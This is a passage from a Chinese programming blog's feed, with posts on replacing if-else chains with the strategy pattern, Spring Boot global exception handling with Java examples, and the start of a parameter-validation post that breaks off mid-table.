    </entry>
    
    
    
    <entry>
      <title>策略模式替代大量 if else</title>
      <link href="//ce-lue-mo-shi-ti-dai-da-liang-if-else/"/>
      <url>//ce-lue-mo-shi-ti-dai-da-liang-if-else/</url>
      
        <content type="html"><![CDATA[<h1 id="策略模式替代大量-if-else"><a href="#策略模式替代大量-if-else" class="headerlink" title="策略模式替代大量 if else"></a>策略模式替代大量 if else</h1><p>策略模式是替代大量 if-else 的经典方案。本文讲它的实现方式和注意事项。</p><h2 id="先看业务味道"><a href="#先看业务味道" class="headerlink" title="先看业务味道"></a>先看业务味道</h2><p>设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。</p><h2 id="一个策略模式示例"><a href="#一个策略模式示例" class="headerlink" title="一个策略模式示例"></a>一个策略模式示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">VipDiscount</span> <span class="keyword">implements</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> amount.multiply(<span class="keyword">new</span> <span class="title class_">BigDecimal</span>(<span class="string">&quot;0.8&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用时通过类型选择策略，而不是写一大堆 if else。</p><h2 id="判断是否值得使用"><a href="#判断是否值得使用" class="headerlink" title="判断是否值得使用"></a>判断是否值得使用</h2><p>如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。</p>]]></content>
      
      
      <categories>
          
          <category> 设计模式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 设计模式 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>SpringBoot统一异常处理实践</title>
      <link href="//springboot-tong-yi-yi-chang-chu-li-shi-jian/"/>
      <url>//springboot-tong-yi-yi-chang-chu-li-shi-jian/</url>
      
        <content type="html"><![CDATA[<h1 id="SpringBoot统一异常处理实践"><a href="#SpringBoot统一异常处理实践" class="headerlink" title="SpringBoot统一异常处理实践"></a>SpringBoot统一异常处理实践</h1><p>Spring Boot 简化了配置，但日志管理依然需要重视。日志配置、链路追踪、排查思路都是日常开发中会遇到的问题。本文讲实际项目中的日志管理经验。</p><h2 id="异常体系设计"><a href="#异常体系设计" class="headerlink" title="异常体系设计"></a>异常体系设计</h2><p>#</p><h2 id="异常层次"><a href="#异常层次" class="headerlink" title="异常层次"></a>异常层次</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Throwable</span><br><span class="line">├── Error（系统级错误，不处理）</span><br><span class="line">└── Exception</span><br><span class="line">    ├── RuntimeException</span><br><span class="line">    │   ├── BusinessException（业务异常，已知）</span><br><span class="line">    │   │   ├── ValidationException（参数校验）</span><br><span class="line">    │   │   ├── NotFoundException（资源不存在）</span><br><span class="line">    │   │   └── UnauthorizedException（未授权）</span><br><span class="line">    │   └── SystemException（系统异常，未知）</span><br><span class="line">    └── Checked Exception（编译期异常）</span><br></pre></td></tr></table></figure><p>#</p><h2 id="基础异常类"><a href="#基础异常类" class="headerlink" title="基础异常类"></a>基础异常类</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Getter</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">BusinessException</span> <span class="keyword">extends</span> <span class="title class_">RuntimeException</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> Integer code;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> Object[] args;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">BusinessException</span><span class="params">(ErrorCode errorCode, Object... args)</span> &#123;</span><br><span class="line">        <span class="built_in">super</span>(MessageFormat.format(errorCode.getMessage(), args));</span><br><span class="line">        <span class="built_in">this</span>.code = errorCode.getCode();</span><br><span class="line">        <span class="built_in">this</span>.args = args;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">BusinessException</span><span class="params">(Integer code, String message)</span> &#123;</span><br><span class="line">        <span class="built_in">super</span>(message);</span><br><span class="line">        <span class="built_in">this</span>.code = code;</span><br><span class="line">        <span class="built_in">this</span>.args = <span class="literal">null</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="错误码枚举"><a href="#错误码枚举" class="headerlink" title="错误码枚举"></a>错误码枚举</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">enum</span> <span class="title class_">ErrorCode</span> &#123;</span><br><span class="line">    <span class="comment">// 系统级 1xxxx</span></span><br><span class="line">    SUCCESS(<span class="number">200</span>, <span class="string">&quot;操作成功&quot;</span>),</span><br><span class="line">    SYSTEM_ERROR(<span class="number">10001</span>, <span class="string">&quot;系统内部错误&quot;</span>),</span><br><span class="line">    PARAM_ERROR(<span class="number">10002</span>, <span class="string">&quot;参数错误&quot;</span>),</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 用户模块 2xxxx</span></span><br><span class="line">    USER_NOT_FOUND(<span class="number">20001</span>, <span class="string">&quot;用户不存在&quot;</span>),</span><br><span class="line">    USER_ALREADY_EXISTS(<span class="number">20002</span>, <span class="string">&quot;用户已存在&quot;</span>),</span><br><span class="line">    USER_PASSWORD_ERROR(<span class="number">20003</span>, <span class="string">&quot;密码错误&quot;</span>),</span><br><span class="line">    USER_UNAUTHORIZED(<span class="number">20004</span>, <span class="string">&quot;未授权&quot;</span>),</span><br><span class="line">    USER_FORBIDDEN(<span class="number">20005</span>, <span class="string">&quot;无权限访问&quot;</span>),</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 订单模块 3xxxx</span></span><br><span class="line">    ORDER_NOT_FOUND(<span class="number">30001</span>, <span class="string">&quot;订单不存在&quot;</span>),</span><br><span class="line">    ORDER_STATUS_ERROR(<span class="number">30002</span>, <span class="string">&quot;订单状态不正确&quot;</span>),</span><br><span class="line">    ORDER_STOCK_INSUFFICIENT(<span class="number">30003</span>, <span class="string">&quot;库存不足&quot;</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> Integer code;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> String message;</span><br><span class="line">    </span><br><span class="line">    ErrorCode(Integer code, String message) &#123;</span><br><span class="line">        <span class="built_in">this</span>.code = code;</span><br><span class="line">        <span class="built_in">this</span>.message = message;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> Integer <span class="title function_">getCode</span><span class="params">()</span> &#123; <span class="keyword">return</span> code; &#125;</span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">getMessage</span><span class="params">()</span> &#123; <span class="keyword">return</span> message; &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="具体业务异常"><a href="#具体业务异常" class="headerlink" title="具体业务异常"></a>具体业务异常</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">NotFoundException</span> <span class="keyword">extends</span> <span class="title class_">BusinessException</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">NotFoundException</span><span class="params">(String resource, Object id)</span> &#123;</span><br><span class="line">        <span class="built_in">super</span>(ErrorCode.USER_NOT_FOUND, resource, id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ValidationException</span> <span class="keyword">extends</span> <span class="title class_">BusinessException</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">ValidationException</span><span class="params">(String field, String message)</span> &#123;</span><br><span class="line">        <span class="built_in">super</span>(ErrorCode.PARAM_ERROR, field, message);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="全局异常处理器"><a href="#全局异常处理器" class="headerlink" title="全局异常处理器"></a>全局异常处理器</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Slf4j</span></span><br><span class="line"><span class="meta">@RestControllerAdvice</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">GlobalExceptionHandler</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 业务异常</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@ExceptionHandler(BusinessException.class)</span></span><br><span class="line">    <span class="keyword">public</span> Result&lt;Void&gt; <span class="title function_">handleBusinessException</span><span class="params">(BusinessException e)</span> &#123;</span><br><span class="line">        log.warn(<span class="string">&quot;业务异常: &#123;&#125;&quot;</span>, e.getMessage());</span><br><span class="line">        <span class="keyword">return</span> Result.fail(e.getCode(), e.getMessage());</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 参数校验异常 - 请求体</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@ExceptionHandler(MethodArgumentNotValidException.class)</span></span><br><span class="line">    <span class="keyword">public</span> Result&lt;Void&gt; <span class="title function_">handleMethodArgumentNotValid</span><span class="params">(MethodArgumentNotValidException e)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">message</span> <span class="operator">=</span> e.getBindingResult().getFieldErrors().stream()</span><br><span class="line">            .map(error -&gt; String.format(<span class="string">&quot;%s%s&quot;</span>, error.getField(), error.getDefaultMessage()))</span><br><span class="line">            .collect(Collectors.joining(<span class="string">&quot;, &quot;</span>));</span><br><span class="line">        </span><br><span class="line">        log.warn(<span class="string">&quot;参数校验失败: &#123;&#125;&quot;</span>, message);</span><br><span class="line">        <span class="keyword">return</span> Result.fail(ErrorCode.PARAM_ERROR.getCode(), message);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 参数校验异常 - URL 参数</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@ExceptionHandler(ConstraintViolationException.class)</span></span><br><span class="line">    <span class="keyword">public</span> Result&lt;Void&gt; <span class="title function_">handleConstraintViolation</span><span class="params">(ConstraintViolationException e)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">message</span> <span class="operator">=</span> e.getConstraintViolations().stream()</span><br><span class="line">            .map(violation -&gt; violation.getPropertyPath() + violation.getMessage())</span><br><span class="line">            .collect(Collectors.joining(<span class="string">&quot;, &quot;</span>));</span><br><span class="line">        </span><br><span class="line">        log.warn(<span class="string">&quot;参数校验失败: &#123;&#125;&quot;</span>, message);</span><br><span class="line">        <span class="keyword">return</span> Result.fail(ErrorCode.PARAM_ERROR.getCode(), message);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 参数绑定异常</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@ExceptionHandler(BindException.class)</span></span><br><span class="line">    <span class="keyword">public</span> Result&lt;Void&gt; <span class="title function_">handleBindException</span><span class="params">(BindException e)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">message</span> <span class="operator">=</span> e.getBindingResult().getFieldErrors().stream()</span><br><span class="line">            .map(error -&gt; error.getField() + error.getDefaultMessage())</span><br><span class="line">            .collect(Collectors.joining(<span class="string">&quot;, &quot;</span>));</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> Result.fail(ErrorCode.PARAM_ERROR.getCode(), message);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 请求方法不支持</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@ExceptionHandler(HttpRequestMethodNotSupportedException.class)</span></span><br><span class="line">    <span class="keyword">public</span> Result&lt;Void&gt; <span class="title function_">handleMethodNotSupported</span><span class="params">(HttpRequestMethodNotSupportedException e)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> Result.fail(<span class="number">405</span>, <span class="string">&quot;请求方法不支持: &quot;</span> + e.getMethod());</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 资源不存在</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@ExceptionHandler(NoHandlerFoundException.class)</span></span><br><span class="line">    <span class="keyword">public</span> Result&lt;Void&gt; <span class="title function_">handleNoHandlerFound</span><span class="params">(NoHandlerFoundException e)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> Result.fail(<span class="number">404</span>, <span class="string">&quot;资源不存在: &quot;</span> + e.getRequestURL());</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 缺少请求参数</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@ExceptionHandler(MissingServletRequestParameterException.class)</span></span><br><span class="line">    <span class="keyword">public</span> Result&lt;Void&gt; <span class="title function_">handleMissingParam</span><span class="params">(MissingServletRequestParameterException e)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> Result.fail(ErrorCode.PARAM_ERROR.getCode(), </span><br><span class="line">            <span class="string">&quot;缺少参数: &quot;</span> + e.getParameterName());</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 类型转换异常</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@ExceptionHandler(MethodArgumentTypeMismatchException.class)</span></span><br><span class="line">    <span class="keyword">public</span> Result&lt;Void&gt; <span class="title function_">handleTypeMismatch</span><span class="params">(MethodArgumentTypeMismatchException e)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> Result.fail(ErrorCode.PARAM_ERROR.getCode(),</span><br><span class="line">            String.format(<span class="string">&quot;参数%s类型错误，应为%s&quot;</span>, e.getName(), e.getRequiredType().getSimpleName()));</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 其他未知异常</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@ExceptionHandler(Exception.class)</span></span><br><span class="line">    <span class="keyword">public</span> Result&lt;Void&gt; <span class="title function_">handleException</span><span class="params">(Exception e, HttpServletRequest request)</span> &#123;</span><br><span class="line">        log.error(<span class="string">&quot;系统异常, URI: &#123;&#125;, 错误: &#123;&#125;&quot;</span>, request.getRequestURI(), e.getMessage(), e);</span><br><span class="line">        <span class="keyword">return</span> Result.fail(ErrorCode.SYSTEM_ERROR.getCode(), <span class="string">&quot;系统繁忙，请稍后再试&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="错误响应结构"><a href="#错误响应结构" class="headerlink" title="错误响应结构"></a>错误响应结构</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Data</span></span><br><span class="line"><span class="meta">@NoArgsConstructor</span></span><br><span class="line"><span class="meta">@AllArgsConstructor</span></span><br><span class="line"><span class="meta">@Builder</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Result</span>&lt;T&gt; &#123;</span><br><span class="line">    <span class="keyword">private</span> Integer code;</span><br><span class="line">    <span class="keyword">private</span> String message;</span><br><span class="line">    <span class="keyword">private</span> T data;</span><br><span class="line">    <span class="keyword">private</span> String path;</span><br><span class="line">    <span class="keyword">private</span> Long timestamp;</span><br><span class="line">    <span class="keyword">private</span> String traceId;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">Result</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.timestamp = System.currentTimeMillis();</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> &lt;T&gt; Result&lt;T&gt; <span class="title function_">success</span><span class="params">(T data)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> Result.&lt;T&gt;builder()</span><br><span class="line">            .code(ErrorCode.SUCCESS.getCode())</span><br><span class="line">            .message(ErrorCode.SUCCESS.getMessage())</span><br><span class="line">            .data(data)</span><br><span class="line">            .timestamp(System.currentTimeMillis())</span><br><span class="line">            .build();</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> &lt;T&gt; Result&lt;T&gt; <span class="title function_">fail</span><span class="params">(Integer code, String message)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> Result.&lt;T&gt;builder()</span><br><span class="line">            .code(code)</span><br><span class="line">            .message(message)</span><br><span class="line">            .timestamp(System.currentTimeMillis())</span><br><span class="line">            .build();</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> &lt;T&gt; Result&lt;T&gt; <span class="title function_">fail</span><span class="params">(ErrorCode errorCode)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> fail(errorCode.getCode(), errorCode.getMessage());</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="添加请求路径和-TraceId"><a href="#添加请求路径和-TraceId" class="headerlink" title="添加请求路径和 TraceId"></a>添加请求路径和 TraceId</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ResponseEnhanceFilter</span> <span class="keyword">implements</span> <span class="title class_">Filter</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">doFilter</span><span class="params">(ServletRequest request, ServletResponse response, FilterChain chain)</span></span><br><span class="line">            <span class="keyword">throws</span> IOException, ServletException &#123;</span><br><span class="line">        </span><br><span class="line">        <span class="type">HttpServletRequest</span> <span class="variable">httpRequest</span> <span class="operator">=</span> (HttpServletRequest) request;</span><br><span class="line">        <span class="type">String</span> <span class="variable">traceId</span> <span class="operator">=</span> MDC.get(<span class="string">&quot;traceId&quot;</span>);</span><br><span class="line">        <span class="keyword">if</span> (traceId == <span class="literal">null</span>) &#123;</span><br><span class="line">            traceId = UUID.randomUUID().toString().replace(<span class="string">&quot;-&quot;</span>, <span class="string">&quot;&quot;</span>);</span><br><span class="line">            MDC.put(<span class="string">&quot;traceId&quot;</span>, traceId);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        RequestContextHolder.setPath(httpRequest.getRequestURI());</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            chain.doFilter(request, response);</span><br><span class="line">        &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">            MDC.remove(<span class="string">&quot;traceId&quot;</span>);</span><br><span class="line">            RequestContextHolder.clear();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestControllerAdvice</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">GlobalExceptionHandler</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@ExceptionHandler(Exception.class)</span></span><br><span class="line">    <span class="keyword">public</span> Result&lt;Void&gt; <span class="title function_">handleException</span><span class="params">(Exception e)</span> &#123;</span><br><span class="line">        Result&lt;Void&gt; result = Result.fail(ErrorCode.SYSTEM_ERROR);</span><br><span class="line">        result.setPath(RequestContextHolder.getPath());</span><br><span class="line">        result.setTraceId(MDC.get(<span class="string">&quot;traceId&quot;</span>));</span><br><span class="line">        <span class="keyword">return</span> result;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="国际化支持"><a href="#国际化支持" class="headerlink" title="国际化支持"></a>国际化支持</h2><p>#</p><h2 id="配置-MessageSource"><a href="#配置-MessageSource" class="headerlink" title="配置 MessageSource"></a>配置 MessageSource</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">I18nConfig</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> MessageSource <span class="title function_">messageSource</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">ReloadableResourceBundleMessageSource</span> <span class="variable">messageSource</span> <span class="operator">=</span> </span><br><span class="line">            <span class="keyword">new</span> <span class="title class_">ReloadableResourceBundleMessageSource</span>();</span><br><span class="line">        messageSource.setBasename(<span class="string">&quot;classpath:i18n/messages&quot;</span>);</span><br><span class="line">        messageSource.setDefaultEncoding(<span class="string">&quot;UTF-8&quot;</span>);</span><br><span class="line">        messageSource.setCacheSeconds(<span class="number">3600</span>);</span><br><span class="line">        <span class="keyword">return</span> messageSource;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="错误码配置"><a href="#错误码配置" class="headerlink" title="错误码配置"></a>错误码配置</h2><figure class="highlight properties"><table><tr><td class="code"><pre><span class="line"><span class="comment"># i18n/messages.properties</span></span><br><span class="line"><span class="attr">error.10001</span>=<span class="string">System internal error</span></span><br><span class="line"><span class="attr">error.20001</span>=<span class="string">User not found</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment"># i18n/messages_zh_CN.properties</span></span><br><span class="line"><span class="attr">error.10001</span>=<span class="string">系统内部错误</span></span><br><span class="line"><span class="attr">error.20001</span>=<span class="string">用户不存在</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="使用"><a href="#使用" class="headerlink" title="使用"></a>使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">I18nService</span> &#123;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> MessageSource messageSource;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">getMessage</span><span class="params">(ErrorCode errorCode, Object... args)</span> &#123;</span><br><span class="line">        <span class="type">Locale</span> <span class="variable">locale</span> <span class="operator">=</span> LocaleContextHolder.getLocale();</span><br><span class="line">        <span class="keyword">return</span> messageSource.getMessage(<span class="string">&quot;error.&quot;</span> + errorCode.getCode(), args, </span><br><span class="line">            errorCode.getMessage(), locale);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="测试验证"><a href="#测试验证" class="headerlink" title="测试验证"></a>测试验证</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@SpringBootTest</span></span><br><span class="line"><span class="meta">@AutoConfigureMockMvc</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ExceptionHandlerTest</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> MockMvc mockMvc;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Test</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">testValidationException</span><span class="params">()</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        mockMvc.perform(post(<span class="string">&quot;/users&quot;</span>)</span><br><span class="line">                .contentType(MediaType.APPLICATION_JSON)</span><br><span class="line">                .content(<span class="string">&quot;&#123;&#125;&quot;</span>))</span><br><span class="line">            .andExpect(status().isOk())</span><br><span class="line">            .andExpect(jsonPath(<span class="string">&quot;$.code&quot;</span>).value(<span class="number">10002</span>))</span><br><span class="line">            .andExpect(jsonPath(<span class="string">&quot;$.message&quot;</span>).value(containsString(<span class="string">&quot;用户名不能为空&quot;</span>)));</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Test</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">testBusinessException</span><span class="params">()</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        mockMvc.perform(get(<span class="string">&quot;/users/99999&quot;</span>))</span><br><span class="line">            .andExpect(status().isOk())</span><br><span class="line">            .andExpect(jsonPath(<span class="string">&quot;$.code&quot;</span>).value(<span class="number">20001</span>))</span><br><span class="line">            .andExpect(jsonPath(<span class="string">&quot;$.message&quot;</span>).value(<span class="string">&quot;用户不存在&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Test</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">testNotFound</span><span class="params">()</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        mockMvc.perform(get(<span class="string">&quot;/not-exist&quot;</span>))</span><br><span class="line">            .andExpect(status().isOk())</span><br><span class="line">            .andExpect(jsonPath(<span class="string">&quot;$.code&quot;</span>).value(<span class="number">404</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="最佳实践"><a href="#最佳实践" class="headerlink" title="最佳实践"></a>最佳实践</h2><table><thead><tr><th>实践</th><th>说明</th></tr></thead><tbody><tr><td>区分异常类型</td><td>业务异常 vs 系统异常</td></tr><tr><td>不暴露内部信息</td><td>系统异常返回通用消息</td></tr><tr><td>记录完整日志</td><td>包含 traceId、URI、参数</td></tr><tr><td>统一响应格式</td><td>所有接口返回相同结构</td></tr><tr><td>错误码规范</td><td>按模块划分，易于定位</td></tr></tbody></table><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>一套完整的异常处理体系包括：</p><ol><li><strong>异常层次</strong>：区分业务异常和系统异常</li><li><strong>错误码规范</strong>：模块化、语义化</li><li><strong>全局处理器</strong>：统一捕获、格式化响应</li><li><strong>日志记录</strong>：包含上下文信息</li><li><strong>国际化</strong>：支持多语言</li></ol><p>良好的异常处理可以提升 API 的可用性和可维护性。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>日志级别设置：根据环境设置合适的级别</p></li><li><p>日志格式配置：添加 traceId 便于链路追踪</p></li><li><p>日志输出：控制台输出和文件输出的配置</p></li><li><p>日志归档：设置滚动策略和保留时间</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>日志是排查问题的生命线，合理配置日志可以提升排查效率。在实际项目中，结合 ELK 等工具搭建日志系统，可以更好地管理和分析日志。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>SpringBoot参数校验和返回值封装</title>
      <link href="//springboot-can-shu-xiao-yan-he-fan-hui-zhi-feng-zhuang/"/>
      <url>//springboot-can-shu-xiao-yan-he-fan-hui-zhi-feng-zhuang/</url>
      
        <content type="html"><![CDATA[<h1 id="SpringBoot参数校验和返回值封装"><a href="#SpringBoot参数校验和返回值封装" class="headerlink" title="SpringBoot参数校验和返回值封装"></a>SpringBoot参数校验和返回值封装</h1><p>Spring Boot 简化了配置，但日志管理依然需要重视。日志配置、链路追踪、排查思路都是日常开发中会遇到的问题。本文讲实际项目中的日志管理经验。</p><h2 id="参数校验"><a href="#参数校验" class="headerlink" title="参数校验"></a>参数校验</h2><p>#</p><h2 id="引入依赖"><a href="#引入依赖" class="headerlink" title="引入依赖"></a>引入依赖</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-starter-validation<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="常用校验注解"><a href="#常用校验注解" class="headerlink" title="常用校验注解"></a>常用校验注解</h2><table><thead><tr><th>注解</th><th>说明</th></tr></thead><tbody><tr><td>@NotNull</td><td>不能为 null</td></tr><tr><td>@NotBlank</td><td>不能为 null 且不为空字符串</td></tr><tr><td>@NotEmpty</td><td>不能为 null 且不为空（字符串/集合）</td></tr><tr><td>@Min / @Max</td><td>数字范围</td></tr><tr><td>@Size</td><td>字符串长度/集合大小</td></tr><tr><td>@Email</td><td>邮箱格式</td></tr><tr><td>@Pattern</td><td>正则匹配</td></tr><tr><td>@Positive</td><td>正数</td></tr><tr><td>@Future / 